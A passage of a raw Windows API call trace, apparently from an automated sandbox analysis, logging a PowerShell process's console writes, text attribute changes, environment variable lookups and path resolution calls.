0x0 [0203.947] EtwEventActivityIdControl () returned 0x0 [0203.947] EtwEventActivityIdControl () returned 0x0 [0203.948] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2dcf4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0203.949] EtwEventActivityIdControl () returned 0x0 [0203.949] EtwEventActivityIdControl () returned 0x0 [0203.949] EtwEventActivityIdControl () returned 0x0 [0203.949] EtwEventActivityIdControl () returned 0x0 [0204.052] EtwEventActivityIdControl () returned 0x0 [0204.052] EtwEventActivityIdControl () returned 0x0 [0204.336] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2eaf4 | out: lpConsoleScreenBufferInfo=0x5a2eaf4) returned 1 [0204.340] GetConsoleOutputCP () returned 0x1b5 [0204.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.343] GetConsoleOutputCP () returned 0x1b5 [0204.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.343] GetConsoleOutputCP () returned 0x1b5 [0204.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.343] GetConsoleOutputCP () returned 0x1b5 [0204.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.343] GetConsoleOutputCP () returned 0x1b5 [0204.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.343] GetConsoleOutputCP () returned 0x1b5 [0204.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.344] GetConsoleOutputCP () returned 0x1b5 [0204.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.344] GetConsoleOutputCP () returned 0x1b5 [0204.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.344] GetConsoleOutputCP () returned 0x1b5 [0204.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.344] GetConsoleOutputCP () returned 0x1b5 [0204.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.345] GetConsoleOutputCP () returned 0x1b5 [0204.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.345] GetConsoleOutputCP () returned 0x1b5 [0204.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.345] GetConsoleOutputCP () returned 0x1b5 [0204.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.345] GetConsoleOutputCP () returned 0x1b5 [0204.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.345] GetConsoleOutputCP () returned 0x1b5 [0204.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.346] GetConsoleOutputCP () returned 0x1b5 [0204.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.346] GetConsoleOutputCP () returned 0x1b5 [0204.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.346] GetConsoleOutputCP () returned 0x1b5 [0204.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.346] GetConsoleOutputCP () returned 0x1b5 [0204.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.346] GetConsoleOutputCP () returned 0x1b5 [0204.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e96c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e96c) returned 0 [0204.347] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ea4c | out: lpConsoleScreenBufferInfo=0x5a2ea4c) returned 1 [0204.348] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.348] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.348] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.349] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.349] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.350] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.351] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e014, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0204.351] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea08 | out: lpMode=0x5a2ea08) returned 1 [0204.353] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x26e8300*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x5a2e9fc, lpReserved=0x0 | out: lpBuffer=0x26e8300*, lpNumberOfCharsWritten=0x5a2e9fc*=0x4e) returned 1 [0204.354] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.354] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.354] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.355] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.355] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea48 | out: lpMode=0x5a2ea48) returned 1 [0204.355] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x231c9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2ea3c, lpReserved=0x0 | out: lpBuffer=0x231c9f0*, lpNumberOfCharsWritten=0x5a2ea3c*=0x1) returned 1 [0204.355] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ea4c | out: lpConsoleScreenBufferInfo=0x5a2ea4c) returned 1 [0204.359] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.359] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.359] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.360] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.360] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.360] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.360] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea08 | out: lpMode=0x5a2ea08) returned 1 [0204.361] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x26e85ac*, nNumberOfCharsToWrite=0x1c, lpNumberOfCharsWritten=0x5a2e9fc, lpReserved=0x0 | out: lpBuffer=0x26e85ac*, lpNumberOfCharsWritten=0x5a2e9fc*=0x1c) returned 1 [0204.361] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.361] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.362] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.362] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.362] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea48 | out: lpMode=0x5a2ea48) returned 1 [0204.362] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x231c9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2ea3c, lpReserved=0x0 | out: lpBuffer=0x231c9f0*, lpNumberOfCharsWritten=0x5a2ea3c*=0x1) returned 1 [0204.363] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ea4c | out: lpConsoleScreenBufferInfo=0x5a2ea4c) returned 1 [0204.363] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.363] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.363] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.364] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.364] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.364] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.364] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea08 | out: lpMode=0x5a2ea08) returned 1 [0204.365] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x26e7ab8*, nNumberOfCharsToWrite=0x10, lpNumberOfCharsWritten=0x5a2e9fc, lpReserved=0x0 | out: lpBuffer=0x26e7ab8*, lpNumberOfCharsWritten=0x5a2e9fc*=0x10) returned 1 [0204.365] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.365] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.366] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.366] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.366] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea48 | out: lpMode=0x5a2ea48) returned 1 [0204.366] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x231c9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2ea3c, lpReserved=0x0 | out: lpBuffer=0x231c9f0*, lpNumberOfCharsWritten=0x5a2ea3c*=0x1) returned 1 [0204.367] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ea4c | out: lpConsoleScreenBufferInfo=0x5a2ea4c) returned 1 [0204.367] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.367] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.367] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.368] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.368] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.368] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.368] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea08 | out: lpMode=0x5a2ea08) returned 1 [0204.369] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x26e7ae8*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x5a2e9fc, lpReserved=0x0 | out: lpBuffer=0x26e7ae8*, lpNumberOfCharsWritten=0x5a2e9fc*=0x4b) returned 1 [0204.369] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.369] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.369] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.370] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.370] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea48 | out: lpMode=0x5a2ea48) returned 1 [0204.370] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x231c9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2ea3c, lpReserved=0x0 | out: lpBuffer=0x231c9f0*, lpNumberOfCharsWritten=0x5a2ea3c*=0x1) returned 1 [0204.371] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ea4c | out: lpConsoleScreenBufferInfo=0x5a2ea4c) returned 1 [0204.371] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.371] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.371] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.372] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.372] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.372] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.372] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea08 | out: lpMode=0x5a2ea08) returned 1 [0204.373] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x26e7b8c*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x5a2e9fc, lpReserved=0x0 | out: lpBuffer=0x26e7b8c*, lpNumberOfCharsWritten=0x5a2e9fc*=0x47) returned 1 [0204.373] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.373] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.374] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.374] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.374] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea48 | out: lpMode=0x5a2ea48) returned 1 [0204.375] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x231c9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2ea3c, lpReserved=0x0 | out: lpBuffer=0x231c9f0*, lpNumberOfCharsWritten=0x5a2ea3c*=0x1) returned 1 [0204.375] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ea4c | out: lpConsoleScreenBufferInfo=0x5a2ea4c) returned 1 [0204.375] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.376] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.376] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.376] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.376] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.377] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.377] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea08 | out: lpMode=0x5a2ea08) returned 1 [0204.377] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x26e7c28*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x5a2e9fc, lpReserved=0x0 | out: lpBuffer=0x26e7c28*, lpNumberOfCharsWritten=0x5a2e9fc*=0x4d) returned 1 [0204.378] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.378] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.378] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.378] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.379] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea48 | out: lpMode=0x5a2ea48) returned 1 [0204.379] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x231c9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2ea3c, lpReserved=0x0 | out: lpBuffer=0x231c9f0*, lpNumberOfCharsWritten=0x5a2ea3c*=0x1) returned 1 [0204.379] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ea4c | out: lpConsoleScreenBufferInfo=0x5a2ea4c) returned 1 [0204.380] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.380] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.380] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.381] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.381] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.381] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.381] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea08 | out: lpMode=0x5a2ea08) returned 1 [0204.382] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x26e7cd0*, nNumberOfCharsToWrite=0x2a, lpNumberOfCharsWritten=0x5a2e9fc, lpReserved=0x0 | out: lpBuffer=0x26e7cd0*, lpNumberOfCharsWritten=0x5a2e9fc*=0x2a) returned 1 [0204.382] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.382] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.382] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.383] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.383] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea48 | out: lpMode=0x5a2ea48) returned 1 [0204.383] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x231c9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2ea3c, lpReserved=0x0 | out: lpBuffer=0x231c9f0*, lpNumberOfCharsWritten=0x5a2ea3c*=0x1) returned 1 [0204.384] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ea4c | out: lpConsoleScreenBufferInfo=0x5a2ea4c) returned 1 [0204.384] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.384] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e4 | out: lpConsoleScreenBufferInfo=0x5a2e9e4) returned 1 [0204.385] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.385] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.385] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9ec | out: lpConsoleScreenBufferInfo=0x5a2e9ec) returned 1 [0204.386] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0xc) returned 1 [0204.386] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea08 | out: lpMode=0x5a2ea08) returned 1 [0204.386] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x26e7d34*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2e9fc, lpReserved=0x0 | out: lpBuffer=0x26e7d34*, lpNumberOfCharsWritten=0x5a2e9fc*=0x1) returned 1 [0204.386] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.387] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.387] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e9e8 | out: lpConsoleScreenBufferInfo=0x5a2e9e8) returned 1 [0204.387] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0204.388] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2ea48 | out: lpMode=0x5a2ea48) returned 1 [0204.388] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x231c9f0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5a2ea3c, lpReserved=0x0 | out: lpBuffer=0x231c9f0*, lpNumberOfCharsWritten=0x5a2ea3c*=0x1) returned 1 [0204.389] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ea64, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0204.389] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5a2e980, nSize=0xf2 | out: lpBuffer="") returned 0xf1 [0204.389] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2e96c, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0204.390] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x469910 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0204.390] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5a2e974, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0204.390] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0204.390] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0204.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8d0) returned 1 [0204.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb94 | out: lpFileInformation=0x5a2eb94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0204.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8cc) returned 1 [0204.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0204.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0204.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8d0) returned 1 [0204.486] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb94 | out: lpFileInformation=0x5a2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0204.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8cc) returned 1 [0204.486] SetThreadErrorMode (dwNewMode=0x1, 